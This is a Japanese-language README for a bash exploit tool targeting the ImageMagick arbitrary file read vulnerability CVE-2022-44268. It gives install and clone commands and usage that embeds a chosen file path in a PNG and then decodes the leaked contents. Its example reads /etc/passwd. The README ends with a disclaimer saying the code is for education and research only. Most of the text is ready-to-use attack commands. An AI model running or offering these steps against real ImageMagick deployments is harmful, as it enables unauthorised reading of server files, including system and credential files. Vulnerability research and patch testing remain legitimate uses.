
ImageMagick の任意ファイル読み取り脆弱性 CVE-2022-44268 を簡単に悪用するための bash スクリプトです。
Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org
Copyright: (C) 1999-2021 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC Modules OpenMP(4.5)
Delegates (built-in): bzlib djvu fftw fontconfig freetype heic jbig jng jp2 jpeg lcms lqr ltdl lzma openexr pangocairo png tiff webp wmf x xml zlib
sudo apt-get install imagemagick exiftool pngcrush exiv2 -y
git clone https://github.com/atici/Exploit-for-ImageMagick-CVE-2022-44268.git
cd Exploit-for-ImageMagick-CVE-2022-44268
chmod 750 script.sh
./script.sh -p [Path to Read] [PNG Image] [Output[Optional, if not used defaults to pngout.png]]
./script.sh -d [PNG]
Examples
./script.sh -p /etc/passwd sample.png output.png
./script.sh -d pngout.png
Options
-h = Show help
-p = Add the exploit to a PNG image
-d = Extract and decode the read file
このリポジトリで提供されるすべてのコードは、教育/研究目的のみを意図しています。このリポジトリ内の資料に関連するいかなる行動や活動も、すべて利用者自身の責任で行ってください。このリポジトリ内のコードを悪用した場合、関係者に対して刑事告訴が行われる可能性があります。作者は、このリポジトリ内のコードを悪用して法律を破った個人に対して刑事告訴が行われた場合、その責任を負いません。